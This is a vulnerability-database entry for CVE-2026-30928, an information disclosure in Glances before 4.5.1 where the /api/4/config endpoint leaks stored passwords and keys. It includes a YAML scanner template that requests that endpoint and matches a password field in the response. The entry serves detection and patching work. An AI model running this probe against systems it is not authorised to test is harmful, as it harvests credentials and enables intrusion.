/Vulnerability Library

Glances - Information Disclosure

CVE-2026-30928
Verified

Description

Glances < 4.5.1 contains an information disclosure vulnerability caused by unfiltered exposure of sensitive configuration data via the /api/4/config REST API endpoint, letting remote attackers access credentials, exploit requires API access.

Severity

High

CVSS Score

7.5

Exploit Probability

2%

Published Date

March 19, 2026

Template Author

theamanrawat

CVE-2026-30928.yaml
id: CVE-2026-30928

info:
  name: Glances - Information Disclosure
  author: theamanrawat
  severity: high
  description: |
    Glances < 4.5.1 contains an information disclosure vulnerability caused by unfiltered exposure of sensitive configuration data via the /api/4/config REST API endpoint, letting remote attackers access credentials, exploit requires API access.
  impact: |
    Attackers can access sensitive credentials, including passwords and keys, leading to potential full system compromise.
  remediation: |
    Upgrade to version 4.5.1 or later.
  reference:
    - https://github.com/nicolargo/glances/security/advisories/GHSA-gh4x-f7cq-wwx6
    - https://nvd.nist.gov/vuln/detail/CVE-2026-30928
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-30928
    epss-score: 0.01657
    epss-percentile: 0.73614
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2026,glances,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/4/config"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '"password": "[A-Za-z0-9_@.#&+-;$]*",'

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100859684ab8b1a4531c1ff5224c9cda4fb979cb9d99e37a4d3b05feb608257acec022100d7729a338398eec13a7769d0f1e5c5008006936b3a71b1d3d1ffb60616528864:922c64590222798bb761d5b6d8e72950
7.5Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2026-30928
CWE ID:
cwe-200

References

https://github.com/nicolargo/glances/security/advisories/GHSA-gh4x-f7cq-wwx6https://nvd.nist.gov/vuln/detail/CVE-2026-30928

Remediation Steps

Upgrade to version 4.5.1 or later.